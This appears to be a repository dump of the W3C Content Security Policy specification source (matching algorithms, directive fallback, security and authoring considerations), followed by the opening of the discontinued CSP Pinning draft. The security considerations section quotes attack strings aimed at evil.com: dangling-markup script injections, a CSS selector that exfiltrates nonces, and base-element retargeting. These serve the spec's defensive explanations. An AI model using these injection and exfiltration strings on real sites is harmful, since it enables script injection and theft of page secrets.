    1. If |path A| is the empty string, return "`Matches`". 2. If |path A| consists of one character that is equal to the U+002F SOLIDUS character (`/`) and |path B| is the empty string, return "`Matches`". 3. Let |exact match| be `false` if the final character of |path A| is the U+002F SOLIDUS character (`/`), and `true` otherwise. 4. Let |path list A| and |path list B| be the result of strictly splitting |path A| and |path B| respectively on the U+002F SOLIDUS character (`/`). 5. If |path list A| has more items than |path list B|, return "`Does Not Match`". 6. If |exact match| is `true`, and |path list A| does not have the same number of items as |path list B|, return "`Does Not Match`". 7. If |exact match| is `false`: 1. Assert: the final item in |path list A| is the empty string. 2. Remove the final item from |path list A|. 8. For each |piece A| of |path list A|: 1. Let |piece B| be the next item in |path list B|. 2. Let |decoded piece A| be the percent-decoding of |piece A|. 3. Let |decoded piece B| be the percent-decoding of |piece B|. 4. If |decoded piece A| is not |decoded piece B|, return "`Does Not Match`". 9. Return "`Matches`".

Element Matching Algorithms

Is |element| nonceable?
Given an {{Element}} |element|, this algorithm returns "`Nonceable`" if a `nonce-source` expression can match the element (as discussed in [[#security-nonce-hijacking]]), and "`Not Nonceable`" if such expressions should not be applied. 1. If |element| does not have an attribute named "`nonce`", return "`Not Nonceable`". 2. If |element| is a <{script}> element, then for each |attribute| of |element|'s attribute list: 1. If |attribute|'s name contains an ASCII case-insensitive match for "<script" or "<style", return "`Not Nonceable`". 2. If |attribute|'s value contains an ASCII case-insensitive match for "<script" or "<style", return "`Not Nonceable`". 3. If |element| had a [=duplicate-attribute=] [=parse error=] during tokenization, return "`Not Nonceable`". ISSUE(whatwg/html#3257): We need some sort of hook in HTML to record this error if we're planning on using it here. 4. Return "`Nonceable`". ISSUE(w3c/webappsec-csp#98): This processing is meant to mitigate the risk of dangling markup attacks that steal the nonce from an existing element in order to load injected script. It is fairly expensive, however, as it requires that we walk through all attributes and their values in order to determine whether the script should execute. Here, we try to minimize the impact by doing this check only for <{script}> elements when a nonce is present, but we should probably consider this algorithm as "at risk" until we know its impact.
Does a source list allow all inline behavior for |type|?
A source list allows all inline behavior of a given |type| if it contains the `keyword-source` expression `'unsafe-inline'`, and does not override that expression as described in the following algorithm: Given a source list |list| and a string |type|, the following algorithm returns "`Allows`" if all inline content of a given |type| is allowed and "`Does Not Allow`" otherwise. 1. Let |allow all inline| be `false`. 2. For each |expression| of |list|: 1. If |expression| matches the `nonce-source` or `hash-source` grammar, return "`Does Not Allow`". 2. If |type| is "`script`", "`script attribute`" or "`navigation`" and |expression| matches the keyword-source "`'strict-dynamic'`", return "`Does Not Allow`". Note: `'strict-dynamic'` only applies to scripts, not other resource types. Usage is explained in more detail in [[#strict-dynamic-usage]]. 3. If |expression| is an ASCII case-insensitive match for the `keyword-source` "`'unsafe-inline'`", set |allow all inline| to `true`. 3. If |allow all inline| is `true`, return "`Allows`". Otherwise, return "`Does Not Allow`".
Source lists that allow all inline behavior:
      'unsafe-inline' http://a.com http://b.com
      'unsafe-inline'
    
Source lists that do not allow all inline behavior due to the presence of nonces and/or hashes, or absence of '`unsafe-inline`':
      'sha512-321cba' 'nonce-abc'
      http://example.com 'unsafe-inline' 'nonce-abc'
    
Source lists that do not allow all inline behavior when |type| is '`script`' or '`script attribute`' due to the presence of '`strict-dynamic`', but allow all inline behavior otherwise:
      'unsafe-inline' 'strict-dynamic'
      http://example.com 'strict-dynamic' 'unsafe-inline'
    
Does |element| match source list for |type| and |source|?
Given an {{Element}} |element|, a source list |list|, a string |type|, and a string |source|, this algorithm returns "`Matches`" or "`Does Not Match`". Note: Regardless of the encoding of the document, |source| will be converted to `UTF-8` before applying any hashing algorithms. 1. If [[#allow-all-inline]] returns "`Allows`" given |list| and |type|, return "`Matches`". 2. If |type| is "`script`" or "`style`", and [[#is-element-nonceable]] returns "`Nonceable`" when executed upon |element|: 1. For each |expression| of |list|: 1. If |expression| matches the `nonce-source` grammar, and |element| has a <{htmlsvg-global/nonce}> attribute whose value [=string/is=] |expression|'s `base64-value` part, return "`Matches`". Note: Nonces only apply to inline <{script}> and inline <{style}>, not to attributes of either element or to `javascript:` navigations. 3. Let |unsafe-hashes flag| be `false`. 4. For each |expression| of |list|: 1. If |expression| is an ASCII case-insensitive match for the `keyword-source` "`'unsafe-hashes'`", set |unsafe-hashes flag| to `true`. Break out of the loop. 5. If |type| is "`script`" or "`style`", or |unsafe-hashes flag| is `true`: 1. Set |source| to the result of executing UTF-8 encode on the result of executing JavaScript string converting on |source|. 2. For each |expression| of |list|: 1. If |expression| is the "`'strict-dynamic'`" keyword-source: 1. If |type| is "`script`", and |element| is not [=parser-inserted=], return "`Matches`". 1. If |expression| matches the `hash-source` grammar: 1. Let |algorithm| be null. 2. If |expression|'s `hash-algorithm` part is an ASCII case-insensitive match for "sha256", set |algorithm| to SHA-256. 3. If |expression|'s `hash-algorithm` part is an ASCII case-insensitive match for "sha384", set |algorithm| to SHA-384. 4. If |expression|'s `hash-algorithm` part is an ASCII case-insensitive match for "sha512", set |algorithm| to SHA-512. 5. If |algorithm| is not null: 1. Let |actual| be the result of base64 encoding the result of applying |algorithm| to |source|. 2. Let |expected| be |expression|'s `base64-value` part, with all '`-`' characters replaced with '`+`', and all '`_`' characters replaced with '`/`'. Note: This replacement normalizes hashes expressed in [=base64url encoding=] into [=base64 encoding=] for matching. 3. If |actual| is identical to |expected|, return "`Matches`". Note: Hashes apply to inline <{script}> and inline <{style}>. If the "`'unsafe-hashes'`" source expression is present, they will also apply to event handlers, style attributes and `javascript:` navigations. 6. Return "`Does Not Match`".

Directive Algorithms

Get the effective directive for |request|

Each fetch directive controls a specific destination of request. Given a request |request|, the following algorithm returns either null or the name of the request's effective directive: 1. If |request|'s [=request/initiator=] is "`prefetch`" or "`prerender`", return `default-src`. 2. Switch on |request|'s destination, and execute the associated steps: : the empty string :: 1. Return `connect-src`. : "`manifest`" :: 1. Return `manifest-src`. : "`object`" : "`embed`" :: 1. Return `object-src`. : "`frame`" : "`iframe`" :: 1. Return `frame-src`. : "`audio`" : "`track`" : "`video`" :: 1. Return `media-src`. : "`font`" :: 1. Return `font-src`. : "`image`" :: 1. Return `img-src`. : "`style`" :: 1. Return `style-src-elem`. : "`script`" : "`xslt`" : "`audioworklet`" : "`paintworklet`" :: 1. Return `script-src-elem`. : "`serviceworker`" : "`sharedworker`" : "`worker`" :: 1. Return `worker-src`. : "`json`" : "`text`" : "`webidentity`" :: 1. Return `connect-src`. : "`report`" :: 1. Return null. 3. Return `connect-src`. Note: The algorithm returns `connect-src` as a default fallback. This is intended for new fetch destinations that are added and which don't explicitly fall into one of the other categories.

Get the effective directive for inline checks

Given a string |type|, this algorithm returns the name of the effective directive. Note: While the effective directive is only defined for requests, in this algorithm it is used similarly to mean the directive that is most relevant to a particular type of inline check. 1. Switch on |type|: : "`script`" : "`navigation`" :: 1. Return `script-src-elem`. : "`script attribute`" :: 1. Return `script-src-attr`. : "`style`" :: 1. Return `style-src-elem`. : "`style attribute`" :: 1. Return `style-src-attr`. 2. Return null.

Get fetch directive fallback list

Will return an ordered set of the fallback directives for a specific directive. The returned ordered set is sorted from most relevant to least relevant and it includes the effective directive itself. Given a string |directive name|: 1. Switch on |directive name|: : "`script-src-elem`" :: 1. Return `<< "script-src-elem", "script-src", "default-src" >>`. : "`script-src-attr`" :: 1. Return `<< "script-src-attr", "script-src", "default-src" >>`. : "`style-src-elem`" :: 1. Return `<< "style-src-elem", "style-src", "default-src" >>`. : "`style-src-attr`" :: 1. Return `<< "style-src-attr", "style-src", "default-src" >>`. : "`worker-src`" :: 1. Return `<< "worker-src", "child-src", "script-src", "default-src" >>`. : "`connect-src`" :: 1. Return `<< "connect-src", "default-src" >>`. : "`manifest-src`" :: 1. Return `<< "manifest-src", "default-src" >>`. : "`object-src`" :: 1. Return `<< "object-src", "default-src" >>`. : "`frame-src`" :: 1. Return `<< "frame-src", "child-src", "default-src" >>`. : "`media-src`" :: 1. Return `<< "media-src", "default-src" >>`. : "`font-src`" :: 1. Return `<< "font-src", "default-src" >>`. : "`img-src`" :: 1. Return `<< "img-src", "default-src" >>`. 2. Return `<< >>`.

Should fetch directive execute

This algorithm is used for fetch directives to decide whether a directive should execute or defer to a different directive that is better suited. For example: if the |effective directive name| is `worker-src` (meaning that we are currently checking a worker request), a `default-src` directive should not execute if a `worker-src` or `script-src` directive exists. Given a string |effective directive name|, a string |directive name| and a policy |policy|: 1. Let |directive fallback list| be the result of executing [[#directive-fallback-list]] on |effective directive name|. 2. For each |fallback directive| of |directive fallback list|: 1. If |directive name| is |fallback directive|, Return "`Yes`". 2. If |policy| contains a directive whose name is |fallback directive|, Return "`No`". 3. Return "`No`".

Security and Privacy Considerations

Nonce Reuse

Nonces override the other restrictions present in the directive in which they're delivered. It is critical, then, that they remain unguessable, as bypassing a resource's policy is otherwise trivial. If a server delivers a nonce-source expression as part of a policy, the server MUST generate a unique value each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and SHOULD be generated via a cryptographically secure random number generator in order to ensure that the value is difficult for an attacker to predict. Note: Using a nonce to allow inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over 'unsafe-inline' when layering a content security policy on top of old code. When considering 'unsafe-inline', authors are encouraged to consider nonces (or hashes) instead.

Nonce Hijacking

Dangling markup attacks

Dangling markup attacks such as those discussed in [[FILEDESCRIPTOR-2015]] can be used to repurpose a page's legitimate nonces for injections. For example, given an injection point before a <{script}> element:
    <p>Hello, [INJECTION POINT]</p>
    <script nonce=abc src=/good.js></script>
  
If an attacker injects the string "<script src='https://evil.com/evil.js' ", then the browser will receive the following:
    <p>Hello, <script src='https://evil.com/evil.js' </p>
    <script nonce=abc src=/good.js></script>
  
It will then parse that code, ending up with a <{script}> element with a `src` attribute pointing to a malicious payload, an attribute named `

`, an attribute named "<script", a `nonce` attribute, and a second `src` attribute which is helpfully discarded as duplicate by the parser. The [[#is-element-nonceable]] algorithm attempts to mitigate this specific attack by walking through <{script}> or <{style}> element attributes, looking for the string "<script" or "<style" in their names or values. User-agents must pay particular attention when implementing this algorithm to not ignore duplicate attributes. If an element has a duplicate attribute any instance of the attribute after the first one is ignored but in the [[#is-element-nonceable]] algorithm, all attributes including the duplicate ones need to be checked. ISSUE(whatwg/html#3257): Currently the HTML spec's parsing algorithm removes this information before the [[#is-element-nonceable]] algorithm can be run which makes it impossible to actually detect duplicate attributes. For the following example page:
    Hello, [INJECTION POINT]
    <script nonce=abc src=/good.js></script>
  
The following injected string will use a duplicate attribute to attempt to bypass the [[#is-element-nonceable]] algorithm check:
    Hello, <script src='https://evil.com/evil.js' x="" x=
    <script nonce="abcd" src=/good.js></script>
  

Nonce exfiltration via content attributes

Some attacks on CSP rely on the ability to exfiltrate nonce data via various mechanisms that can read content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attacker's server for reuse. Example:
    script[nonce=a] { background: url("https://evil.com/nonce?a");}
  
The <{htmlsvg-global/nonce}> section talks about mitigating these types of attacks by hiding the nonce from the element's content attribute and moving it into an internal slot. This is done to ensure that the `nonce` value is exposed to scripts but not any other non-script channels.

Nonce Retargeting

Nonces bypass host-source expressions, enabling developers to load code from any origin. This, generally, is fine, and desirable from the developer's perspective. However, if an attacker can inject a <{base}> element, then an otherwise safe page can be subverted when relative URLs are resolved. That is, on `https://example.com/` the following code will load `https://example.com/good.js`:
    <script nonce=abc src=/good.js></script>
  
However, the following will load `https://evil.com/good.js`:
    <base href="https://evil.com">
    <script nonce=abc src=/good.js></script>
  
To mitigate this risk, it is advisable to set an explicit <{base}> element on every page, or to limit the ability of an attacker to inject their own <{base}> element by setting a `base-uri` directive in your page's policy. For example, `base-uri 'none'`.

CSS Parsing

The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "stylesheets" hosted by an otherwise trustworthy origin. These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009 [[CSS-ABUSE]]. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.

Violation Reports

The violation reporting mechanism in this document has been designed to mitigate the risk that a malicious web site could use violation reports to probe the behavior of other servers. For example, consider a malicious web site that allows `https://example.com` as a source of images. If the malicious site attempts to load `https://example.com/login` as an image, and the `example.com` server redirects to an identity provider (e.g. `identityprovider.example.net`), CSP will block the request. If violation reports contained the full blocked URL, the violation report might contain sensitive information contained in the redirected URL, such as session identifiers or purported identities. For this reason, the user agent includes only the URL of the original request, not the redirect target. Note also that violation reports should be considered attacker-controlled data. Developers who wish to collect violation reports in a dashboard or similar service should be careful to properly escape their content before rendering it (and should probably themselves use CSP to further mitigate the risk of injection). This is especially true for the "`script-sample`" property of violation reports, and the {{SecurityPolicyViolationEvent/sample}} property of {{SecurityPolicyViolationEvent}}, which are both completely attacker-controlled strings.

Paths and Redirects

To avoid leaking path information cross-origin (as discussed in Egor Homakov's Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com example.org/path: * Directly loading https://example.org/not-path would fail, as it doesn't match the policy. * Directly loading https://example.com/redirector would pass, as it matches example.com. * Assuming that https://example.com/redirector delivered a redirect response pointing to https://example.org/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches example.org/path if we ignore its path component. This restriction reduces the granularity of a document's policy when redirects are in play, a necessary compromise to avoid brute-forced information leaks of this type. The relatively long thread "Remove paths from CSP?" from public-webappsec@w3.org has more detailed discussion around alternate proposals.

Secure Upgrades

To mitigate one variant of history-scanning attacks like Yan Zhu's Sniffly, CSP will not allow pages to lock themselves into insecure URLs via policies like `script-src http://example.com`. As described in [[#match-schemes]], the scheme portion of a source expression will always allow upgrading to a secure variant.

CSP Inheriting to avoid bypasses

Documents loaded from local schemes will inherit a copy of the policies in the source document. The goal is to ensure that a page can't bypass its policy by embedding a frame or opening a new window containing content that is entirely under its control (`srcdoc` documents, `blob:` or `data:` URLs, `about:blank` documents that can be manipulated via `document.write()`, etc).
If this would not happen a page could execute inline scripts even without `unsafe-inline` in the page's execution context by simply embedding a `srcdoc` `iframe`.
      <iframe srcdoc="<script>alert(1);</script>"></iframe>
    
Note that we create a copy of the CSP list which means that the new {{Document}}'s CSP list is a snapshot of the relevant policies at its creation time. Modifications in the CSP list of the new {{Document}} won't affect the source {{Document}}'s CSP list or vice-versa.
In the example below the image inside the iframe will not load because it is blocked by the policy in the `meta` tag of the iframe. The image outside the iframe will load (assuming the main page policy does not block it) since the policy inserted in the iframe will not affect it.
      <iframe srcdoc='<meta http-equiv="Content-Security-Policy" content="img-src example.com;">
                         <img src="not-example.com/image">'></iframe>

      <img src="not-example.com/image">
    

Authoring Considerations

The effect of multiple policies

This section is not normative. The above sections note that when multiple policies are present, each must be enforced or reported, according to its type. An example will help clarify how that ought to work in practice. The behavior of an `XMLHttpRequest` might seem unclear given a site that, for whatever reason, delivered the following HTTP headers:
      Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                               connect-src 'none';
      Content-Security-Policy: connect-src http://example.com/;
                               script-src http://example.com/
    
Is a connection to example.com allowed or not? The short answer is that the connection is not allowed. Enforcing both policies means that a potential connection would have to pass through both unscathed. Even though the second policy would allow this connection, the first policy contains `connect-src 'none'`, so its enforcement blocks the connection. The impact is that adding additional policies to the list of policies to enforce can only further restrict the capabilities of the protected resource. To demonstrate that further, consider a script tag on this page. The first policy would lock scripts down to `'self'`, `http://example.com` and `http://example.net` via the `default-src` directive. The second, however, would only allow script from `http://example.com/`. Script will only load if it meets both policy’s criteria: in this case, the only origin that can match is `http://example.com`, as both policies allow it.

Usage of "`'strict-dynamic'`"

This section is not normative. Host- and path-based policies are tough to get right, especially on sprawling origins like CDNs. The solutions to Cure53's H5SC Minichallenge 3: "Sh*t, it's CSP!" [[H5SC3]] are good examples of the kinds of bypasses which such policies can enable, and though CSP is capable of mitigating these bypasses via exhaustive declaration of specific resources, those lists end up being brittle, awkward, and difficult to implement and maintain. The "`'strict-dynamic'`" source expression aims to make Content Security Policy simpler to deploy for existing applications who have a high degree of confidence in the scripts they load directly, but low confidence in their ability to provide a reasonable list of resources to load up front. If present in a `script-src` or `default-src` directive, it has two main effects: 1. host-source and scheme-source expressions, as well as the "`'unsafe-inline'`" and "`'self'` keyword-sources will be ignored when loading script. hash-source and nonce-source expressions will be honored. 2. Script requests which are triggered by non-"parser-inserted" <{script}> elements are allowed. The first change allows you to deploy "`'strict-dynamic'`" in a backwards compatible way, without requiring user-agent sniffing: the policy `'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic'` will act like `'unsafe-inline' https:` in browsers that support CSP1, `https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV'` in browsers that support CSP2, and `'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'` in browsers that support CSP3. The second allows scripts which are given access to the page via nonces or hashes to bring in their dependencies without adding them explicitly to the page's policy.
Suppose MegaCorp, Inc. deploys the following policy:
      Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'
    
And serves the following HTML with that policy active:
      ...
      <script src="https://cdn.example.com/script.js" nonce="DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></script>
      ...
    
This will generate a request for `https://cdn.example.com/script.js`, which will not be blocked because of the matching <{htmlsvg-global/nonce}> attribute. If `script.js` contains the following code:
      var s = document.createElement('script');
      s.src = 'https://othercdn.not-example.net/dependency.js';
      document.head.appendChild(s);

      document.write('<scr' + 'ipt src="/sadness.js"></scr' + 'ipt>');
    
`dependency.js` will load, as the <{script}> element created by `createElement()` is not "parser-inserted". `sadness.js` will not load, however, as `document.write()` produces <{script}> elements which are "parser-inserted".
Note: With 'strict-dynamic', scripts created at runtime will be allowed to execute. If the location of such a script can be controlled by an attacker, the policy will then allow the loading of arbitrary scripts. Developers that use 'strict-dynamic' in their policy should audit the uses of non-parser-inserted APIs and ensure that they are not invoked with potentially untrusted data. This includes applications or frameworks that tend to determine script locations at runtime.

Usage of "`'unsafe-hashes'`"

This section is not normative. Legacy websites and websites with legacy dependencies might find it difficult to entirely externalize event handlers. These sites could enable such handlers by allowing `'unsafe-inline'`, but that's a big hammer with a lot of associated risk (and cannot be used in conjunction with nonces or hashes). The "`'unsafe-hashes'`" source expression aims to make CSP deployment simpler and safer in these situations by allowing developers to enable specific handlers via hashes.
MegaCorp, Inc. can't quite get rid of the following HTML on anything resembling a reasonable schedule:
        <button id="action" onclick="doSubmit()">
      
Rather than reducing security by specifying "`'unsafe-inline'`", they decide to use "`'unsafe-hashes'`" along with a hash source expression corresponding to `doSubmit()`, as follows:
        Content-Security-Policy:  script-src 'unsafe-hashes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='
      
The capabilities `'unsafe-hashes'` provides is useful for legacy sites, but should be avoided for modern sites. In particular, note that hashes allow a particular script to execute, but do not ensure that it executes in the way a developer intends. If an interesting capability is exposed as an inline event handler (say `Transfer`), then that script becomes available for an attacker to inject as ``. Developers should be careful to balance the risk of allowing specific scripts to execute against the deployment advantages that allowing inline event handlers might provide.

Allowing external JavaScript via hashes

This section is not normative. In [[CSP2]], hash source expressions could only match inlined script, but now that Subresource Integrity [[SRI]] is widely deployed, we can expand the scope to enable externalized JavaScript as well. If multiple sets of integrity metadata are specified for a <{script}>, the request will match a policy's hash-sources if and only if each item in a <{script}>'s integrity metadata matches the policy. Note: The CSP spec specifies that the contents of an inline <{script}> element or event handler needs to be encoded using UTF-8 encode before computing its hash. [[SRI]] computes the hash on the raw resource that is being fetched instead. This means that it is possible for the hash needed to allow an inline script block to be different from the hash needed to allow an external script even if they have identical contents.
MegaCorp, Inc. wishes to allow two specific scripts on a page in a way that ensures that the content matches their expectations. They do so by setting the following policy:
        Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'
      
In the presence of that policy, the following <{script}> elements would be allowed to execute because they contain only integrity metadata that matches the policy:
        <script integrity="sha256-abc123" ...></script>
        <script integrity="sha512-321cba" ...></script>
        <script integrity="sha256-abc123 sha512-321cba" ...></script>
      
While the following <{script}> elements would not execute because they contain valid metadata that does not match the policy (even though other metadata does match):
        <script integrity="sha384-xyz789" ...></script>
        <script integrity="sha384-xyz789 sha512-321cba" ...></script>
        <script integrity="sha256-abc123 sha384-xyz789 sha512-321cba" ...></script>
      
Metadata that is not recognized (either because it's entirely invalid, or because it specifies a not-yet-supported hashing algorithm) does not affect the behavior described here. That is, the following elements would be allowed to execute in the presence of the above policy, as the additional metadata is invalid and therefore wouldn't allow a script whose content wasn't listed explicitly in the policy to execute:
        <script integrity="sha256-abc123 sha1024-abcd" ...></script>
        <script integrity="sha512-321cba entirely-invalid" ...></script>
        <script integrity="sha256-abc123 not-a-hash-at-all sha512-321cba" ...></script>
      

Strict CSP

This section is not normative. Deployment of an effective CSP against XSS is a challenge (as described in CSP Is Dead, Long Live CSP! [[LONG-LIVE-CSP]]). However, enforcing the following set of CSP directives has been identified as an effective and deployable mitigation against XSS. 1. script-src: Only use nonce source-expression and/or hash source-expression with the "'strict-dynamic'" keyword-source. Note: While "'strict-dynamic'" allows ease of deployment (as described in [[#strict-dynamic-usage]]), it should be avoided when possible. Note: For backwards compatibility, it is recommended to specify https: scheme-source with "'strict-dynamic'". 2. base-uri: Specify a value of either "'self'" or "'none'". A CSP that meets the above criteria is called Strict CSP. Further details are discussed in [[WEBDEV-STRICTCSP]].
The following are examples of Strict CSP: Nonce-based Strict CSP:
        Content-Security-Policy: script-src 'strict-dynamic' 'nonce-{RANDOM}'; base-uri 'self';
      
Hash-based Strict CSP:
        Content-Security-Policy: script-src 'strict-dynamic' 'sha256-{HASHED_INLINE_SCRIPT}'; base-uri 'self';
      

Exfiltration

This section is not normative. Data exfiltration can occur when the contents of the request, such as the URL, contain information about the user or page that should be restricted and not shared. Content Security Policy can mitigate data exfiltration if used to create allowlists of servers with which a page is allowed to communicate. Note that a policy which lacks the default-src directive cannot mitigate exfiltration, as there are kinds of requests that are not addressable through a more-specific directive (<{link/rel/prefetch}>, for example). [[!HTML]]
In the following example, a policy with draconian restrictions on images, fonts, and scripts can still allow data exfiltration via other request types (`fetch()`, <{link/rel/prefetch}>, etc): [[!HTML]]
        Content-Security-Policy: img-src 'none'; script-src 'none'; font-src 'none'
      
Supplementing this policy with `default-src 'none'` would improve the page's robustness against this kind of attack.
In the following example, the default-src directive appears to protect from exfiltration, however the img-src directive relaxes this restriction by using a wildcard, which allows data exfiltration to arbitrary endpoints. A policy's exfiltration mitigation ability depends upon the least-restrictive directive allowlist:
        Content-Security-Policy: default-src 'none'; img-src *
      

Implementation Considerations

Vendor-specific Extensions and Addons

Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user's priority over page authors, as espoused in [[HTML-DESIGN]]. Moreover, applying CSP to these kinds of features produces a substantial amount of noise in violation reports, significantly reducing their value to developers. Chrome, for example, excludes the `chrome-extension:` scheme from CSP checks, and does some work to ensure that extension-driven injections are allowed, regardless of a page's policy.

IANA Considerations

Directive Registry

The Content Security Policy Directive registry should be updated with the following directives and references [[!RFC7762]]: : `base-uri` :: This document (see [[#directive-base-uri]]) : `child-src` :: This document (see [[#directive-child-src]]) : `connect-src` :: This document (see [[#directive-connect-src]]) : `default-src` :: This document (see [[#directive-default-src]]) : `font-src` :: This document (see [[#directive-font-src]]) : `form-action` :: This document (see [[#directive-form-action]]) : `frame-ancestors` :: This document (see [[#directive-frame-ancestors]]) : `frame-src` :: This document (see [[#directive-frame-src]]) : `img-src` :: This document (see [[#directive-img-src]]) : `manifest-src` :: This document (see [[#directive-manifest-src]]) : `media-src` :: This document (see [[#directive-media-src]]) : `object-src` :: This document (see [[#directive-object-src]]) : `report-uri` :: This document (see [[#directive-report-uri]]) : `report-to` :: This document (see [[#directive-report-to]]) : `sandbox` :: This document (see [[#directive-sandbox]]) : `script-src` :: This document (see [[#directive-script-src]]) : `script-src-attr` :: This document (see [[#directive-script-src-attr]]) : `script-src-elem` :: This document (see [[#directive-script-src-elem]]) : `style-src` :: This document (see [[#directive-style-src]]) : `style-src-attr` :: This document (see [[#directive-style-src-attr]]) : `style-src-elem` :: This document (see [[#directive-style-src-elem]]) : `worker-src` :: This document (see [[#directive-worker-src]])

Headers

The permanent message header field registry should be updated with the following registrations: [[!RFC3864]]

Content-Security-Policy

Header field name
Content-Security-Policy
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See [[#csp-header]])

Content-Security-Policy-Report-Only

Header field name
Content-Security-Policy-Report-Only
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See [[#cspro-header]])

Acknowledgements

Lots of people are awesome. For instance: * Mario and all of Cure53. * Artur Janc, Michele Spagnuolo, Lukas Weichselbaum, Jochen Eisinger, and the rest of Google's CSP Cabal.
================================================ FILE: pinning/index.bs ================================================

Content Security Policy Pinning

urlPrefix: https://w3c.github.io/webappsec/specs/content-security-policy/; spec: CSP
  type: dfn
    text: security policy
    text: policy-token; url: policy_token
    text: parse the policy
    text: policy syntax
    text: content-security-policy; url: content_security_policy
    text: Delivery via meta element; url: delivery-html-meta-element
    text: send violation reports
    url: enforce
      text: enforce
      text: enforced
    url: monitor
      text: monitor
      text: monitored
urlPrefix: http://www.w3.org/TR/dom/; spec: DOM
  type: interface
    text: Document; url: interface-document
urlPrefix: https://fetch.spec.whatwg.org/; spec: FETCH
  type: dfn
    text: parse header; url: concept-header-parse
    text: header list; url: concept-response-header-list
    text: fetching
  type: interface
    text: Response
urlPrefix: http://www.w3.org/TR/html5/document-metadata.html; spec: HTML5
  type: element
    text: meta; url: the-meta-element
urlPrefix: https://w3c.github.io/webappsec/specs/mixedcontent/; spec: MIX
  type: dfn
    text: a priori insecure url
    text: a priori insecure origin
urlPrefix: https://url.spec.whatwg.org/; spec: URL
  type: dfn
    text: url
    text: host; url: concept-url-host
    text: origin of a url; url: concept-url-origin
    text: ipv6 address; url: concept-ipv6
urlPrefix: http://www.w3.org/TR/workers/; spec: WORKERS
  type: interface
    text: Worker
urlPrefix: https://tools.ietf.org/html/rfc6454; spec: RFC6454
  type: dfn
    text: origin; url: section-3.2
urlPrefix: https://tools.ietf.org/html/rfc6797; spec: RFC6797
  type: dfn
    text: known HSTS host domain name matching; url: section-8.2
    text: superdomain match; url: section-8.2
    text: congruent match; url: section-8.2
urlPrefix: https://tools.ietf.org/html/rfc7231; spec: RFC7231
  type: dfn
    text: resource; url: section-2
    text: resource representation; url: section-3
{
  "CSP": {
    "authors": [ "Mike West", "Dan Veditz" ],
    "title": "Content Security Policy",
    "href": "https://w3c.github.io/webappsec-csp/",
    "status": "WD",
    "publisher": "W3C"
  },
  "PKP": {
    "authors": [ "Chris Evans", "Chris Palmer", "Ryan Sleevi" ],
    "title": "Public Key Pinning Extension for HTTP",
    "href": "https://tools.ietf.org/html/draft-ietf-websec-key-pinning",
    "publisher": "IETF",
    "status": "Draft"
  },
  "SECURE-CONTEXTS": {
    "authors": [ "Mike West", "Yan Zhu" ],
    "title": "Secure Contexts",
    "href": "https://w3c.github.io/webappsec-secure-contexts/"
  }
}
Work on this document has been discontinued and it should not be referenced or used as a basis for implementation.

Introduction

This section is not normative. Content Security Policy [[!CSP]] defines a mechanism through which authors can manipulate the security properties of a given resource, providing the ability to mitigate the risk of a broad class of content-injection attacks. CSP, however, can only protect pages for which it is explicitly defined, which means that authors need to ensure that they're delivering a reasonable policy for every page on their origin in order to have confidence that a particular set of restrictions will be consistently applied. For example, it's often the case that generic error-handling pages are constructed differently than "real" application pages. They're easy to forget when auditing the security headers set for an origin, and can offer attackers a foot in the door if they contain injection vectors. CSP Pinning attempts to address this concern by allowing authors to "pin" a baseline policy to an application's host. Conceptually, this is quite similar to the approach taken by Strict Transport Security [[RFC6797]] and Public Key Pinning [[PKP]]: we define a new header, Content-Security-Policy-Pin which instructs a user agent to remember a baseline policy that will be enforced for any document and worker delivered by an application that doesn't come with its own Content-Security-Policy header.

Use Cases

example.com has a number of applications running on the same origin; each has a specific set of resources it needs to load, so a single Content Security Policy would become unwieldy for the whole set of resources. Moreover, the admins aren't exactly sure they have a clear understanding of all the applications running on subdomains; the marketing department went a bit wild with branded partnerships a year or two back. After doing an audit of existing code, they have a good feel for the needs of individual applications, and give each a suitable policy. They decide to err on the side of caution, and pin a restrictive policy for pages they didn't catch:
https://example.com/application1/ delivers the following HTTP response headers:
      Content-Security-Policy-Pin: max-age: 10886400;
                                   includeSubDomains;
                                   default-src https:;
                                   form-action 'none';
                                   frame-ancestors 'none';
                                   referrer no-referrer;
                                   report-uri /csp-endpoint/pinned
      Content-Security-Policy: script-src https://application1.cdn.com;
                               style-src https://application1.cdn.com;
                               connect-src 'self';
                               form-action 'self'
    
While https://example.com/application2/ delivers the following HTTP response headers:
      Content-Security-Policy-Pin: max-age: 10886400;
                                   includeSubDomains;
                                   default-src https:;
                                   form-action 'none';
                                   frame-ancestors 'none';
                                   referrer no-referrer;
                                   report-uri /csp-endpoint/pinned
      Content-Security-Policy: script-src https://application2.cdn.com;
                               style-src https://application2.cdn.com;
    
Meanwhile, they've forgotten about the coincidentally well-named https://forgotten-partnership.example.com/. It doesn't send any CSP headers at all, and yet, it is still protected by the pinned policy for any users who have visited either Application 1 or Application 2.

Key Concepts and Terminology

Terms defined by this specification

pinned security policy
A security policy that is enforced for resources delivered from a protected host without their own policy. The pinned policy's properties are defined in [[#policy-delivery]].
pinned policy cache
In order to persistently enforce policy for an origin, the user agent caches the following details about each pinned policy:
